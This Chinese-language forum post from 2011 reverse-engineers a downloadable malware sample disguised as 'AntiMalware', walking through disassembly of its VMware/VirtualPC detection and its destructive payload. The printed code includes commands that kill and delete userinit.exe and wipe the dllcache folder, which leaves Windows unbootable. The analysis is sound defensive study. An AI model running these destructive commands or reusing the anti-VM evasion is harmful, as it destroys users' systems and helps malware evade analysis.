本帖最后由 是昔流芳 于 2011-2-11 14:43 编辑
样本就放这里了
AntiMalware.7z
(84.61 KB, 下载次数: 71)
IDA先瞅一眼,是个基于对话框的MFC
.text:00401398 sub esp, 44h
.text:0040139B push ebx
.text:0040139C push esi
.text:0040139D push edi
.text:0040139E mov esi, ecx
.text:004013A0 call ?OnInitDialog@CDialog@@UAEHXZ ; CDialog::OnInitDialog(void)
这样直接开OD,断在OnInitDialog就可以了
这里有必要说明一下,在Dialog创建之前,也是可能存在恶意代码的
由于在IDA中看到了恶意代码是在OnInitDialog开始的,所以才这么断的。。
bp 4013a0
来到下面的位置
接下来几段的MENU和SendMessage不用看
00401430 |. 50 push eax ; /lParam
00401431 |. 6A 00 push 0 ; |wParam = 0
00401433 |. 68 80000000 push 80 ; |Message = WM_SETICON
00401438 |. 51 push ecx ; |hWnd
00401439 |. FFD3 call ebx ; \SendMessageA
====================================幽灵之忽略的分割线=====================================
0040143B |. E8 00FDFFFF call 00401140
00401440 |. 85C0 test eax, eax
00401442 |. 74 0E je short 00401452
00401444 |. 6A 00 push 0
00401446 |. 68 14C14200 push 0042C114 ; ASCII "Warning"
0040144B |. 68 A4C24200 push 0042C2A4 ; ASCII "Son of bitch under Vmware"
判断虚拟机
跟进 0040143B 这个CALL看一看
00401140 push ebp
00401141 mov ebp, esp
00401143 push -1
00401145 push 004236B0
0040114A push 00409E1C ; SE 处理程序安装
0040114F mov eax, dword ptr fs:[0]
00401155 push eax
00401156 mov dword ptr fs:[0], esp
0040115D sub esp, 10
00401160 push ebx
00401161 push esi
00401162 push edi
00401163 mov dword ptr [ebp-18], esp
00401166 mov dword ptr [ebp-4], 0
0040116D pushad ;从这里开始判断了
0040116E pushfd ;
0040116F xor ebx, ebx
00401171 mov ecx, 0A
00401176 mov eax, 564D5868 ;F8完了看一眼EAX,是"VMXh"
0040117B mov dx, 5658 ;VMXh-M-h="VX"
0040117F in eax, dx ;应该是个调用之类的
00401180 cmp ebx, 564D5868 ;看样子结果是存在ebx里了,和VMXh比较
00401186 sete al
00401189 movzx eax, al
0040118C mov dword ptr [42E2C4], eax ;返回比较结果
00401191 popfd
00401192 popad
然后一路F8或者直接RETN
再回来
0040143B call 00401140
00401440 test eax, eax
00401442 je short 00401452
00401444 push 0
00401446 push 0042C114 ; ASCII "Warning"
0040144B push 0042C2A4 ; ASCII " !!已被滤霸过滤!! In Vmware !!!"
00401450 jmp short 00401485
00401452 call 004011D0
00401457 test eax, eax
00401459 je short 00401469
0040145B push 0
0040145D push 0042C114 ; ASCII "Warning"
00401462 push 0042C27C ; ASCII " !!已被滤霸过滤!!! VPC"
00401467 jmp short 00401485
00401469 call 00401250
0040146E test eax, eax
00401470 push 0
00401472 push 0042C114 ; ASCII "Warning"
00401477 je short 00401480
00401479 push 0042C250 ; ASCII "Son of !!已被滤霸过滤!! VM "
0040147E jmp short 00401485
00401480 push 0042C21C ; ASCII "Son of !!已被滤霸过滤!!^$#fdHost"
00401485 mov ecx, esi
00401487 call 00419B92 ;这里是Messagebox
0040148C jmp short 0040149E
用伪代码解释
if( ISVmware() )
{...参数1}
else if( ISVPC() )
{...参数2}
else if (ISVM())
{...参数3}
...
下面接着到0040149E来看,IDA这里看得更清楚
0040149E lea edx, dword ptr [ebp-34]
004014A1 push edx ; lpSystemTime
004014A2 call dword ptr [<&KERNEL32.GetSystemT>; ds:GetSystemTime
004014A8 lea eax, dword ptr [ebp-34] ;取得[ebp+SystemTime.wYear],这里的方式是引用的方式,也就是下面的SetXXX函数可以直接修改取得的wYear
004014AB mov word ptr [ebp-34], 833 ;[ebp+SystemTime.wYear]== 833h 设置年份
004014B1 push eax ; lpSystemTime
004014B2 call dword ptr [<&KERNEL32.SetSystemT>;ds:SetSystemTime
004014B8 lea ecx, dword ptr [ebp-34] ;[ebp+SystemTime]
004014BB push ecx ; lpLocalTime
004014BC call dword ptr [<&KERNEL32.SetLocalTi>; ds:SetLocalTime
004014C2 push 0
004014C4 push 0042C114 ; ASCII "Warning"
004014C9 push 0042C1EC ; ASCII !!已被滤霸过滤!!
004014CE mov ecx, esi
004014D0 call 00419B92 ;惯例又是一个MessageBox
下面就看关键的地方
0040159A |push 80 ; /FileAttributes = NORMAL
0040159F |push eax ; |FileName
004015A0 |call dword ptr [<&KERNEL32.SetFileAttributesA>>; \SetFileAttributesA 设置文件属性
004015A6 |lea ecx, dword ptr [ebp-1C]
004015A9 |call 00417E02
004015AE |lea eax, dword ptr [ebp-20]
004015B1 |lea ecx, dword ptr [ebp-50]
004015B4 |push eax
004015B5 |call 00402660
004015BA |mov eax, dword ptr [eax]
004015BC |push eax ; /FileName
004015BD |call dword ptr [<&KERNEL32.DeleteFileA>] ; \DeleteFileA 删除文件
004015C3 |lea ecx, dword ptr [ebp-20]
004015C6 |call 00417E02
004015CB |mov eax, dword ptr [ebp-24]
004015CE |test eax, eax
004015D0 \jnz 00401501
004015D6 lea ecx, dword ptr [ebp-50]
004015D9 call 00402327
004015DE push 0
004015E0 push 0042C1A0 ; ASCII "C:\WINDOWS\system32\userinit.exe"
004015E5 lea ecx, dword ptr [ebp-50]
004015E8 call 00402371 ;FindFile
004015ED test eax, eax
004015EF je 004016D5
。
。
。
。
0040166C push 0
0040166E push 0042C114 ; ASCII "Warning"
00401673 push 0042C174 ; ASCII "Malware scripts had been Pending removed"
00401678 mov ecx, esi
0040167A call 00419B92 ;MessageBox
0040167F lea ecx, dword ptr [ebp-24]
00401682 push ecx
00401683 lea ecx, dword ptr [ebp-50]
00401686 call 00402660
0040168B mov eax, dword ptr [eax]
0040168D push 80 ; /FileAttributes = NORMAL
00401692 push eax ; |FileName
00401693 call dword ptr [<&KERNEL32.SetFileAttributesA>] ; \SetFileAttributesA 文件属性
00401699 lea ecx, dword ptr [ebp-24]
0040169C call 00417E02
004016A1 lea edx, dword ptr [ebp-24]
004016A4 lea ecx, dword ptr [ebp-50]
004016A7 push edx
004016A8 call 00402660
004016AD mov eax, dword ptr [eax]
004016AF push eax ; /FileName
004016B0 call dword ptr [<&KERNEL32.DeleteFileA>] ; \DeleteFileA 删除文件
004016B6 lea ecx, dword ptr [ebp-24]
004016B9 call 00417E02
004016BE push 0042C154 ; ASCII "Taskkill /f /IM userinit.exe"
004016C3 call 00409EF4 ;系统调用结束userinit
004016C8 push 0042C124 ; ASCII "del %SystemRoot%\system32\userinit.exe /f /q /s"
004016CD call 00409EF4 ;系统调用删除userinit
004016D2 add esp, 8
除了DELETEFILE和系统调用,还有MoveFile,由于贴代码太麻烦这里就不赘述了
它删了所有dllcache里的文件和userinit
导致进不去系统
后半部分的伪代码大致如下
while(FindFile("C:\\WINDOWS\\system32\\dllcache\\*"))
{
FindResumeNext();
MoveFileEx(...);
SetFileAttributes(...);
DeleteFile(...);
}
if(FindFile("C:\\WINDOWS\\system32\\userinit.exe"))
{
if(MoveFileEx(...)==SECUESS); 不得不说,这个逻辑很火星
{
SetFileAttributes(...);
DeleteFile(...);
Taskkill /f /IM userinit.exe
del %SystemRoot%\\system32\\userinit.exe
}
}
把这些都屏蔽掉之后,我们运行程序,会发现对话框中有一个按钮
接下来怎么玩呢,OD重新载入
bp 4013a0
运行,断下来的CALL按空格修改,
修改为jmp 4016ed
这样就直接把InitDialog过去了
再运行,界面就出来了
然后设消息断点,202 LBUTTONUP
然后发现是大段的数学计算。。。。呃,那就到此为止吧 |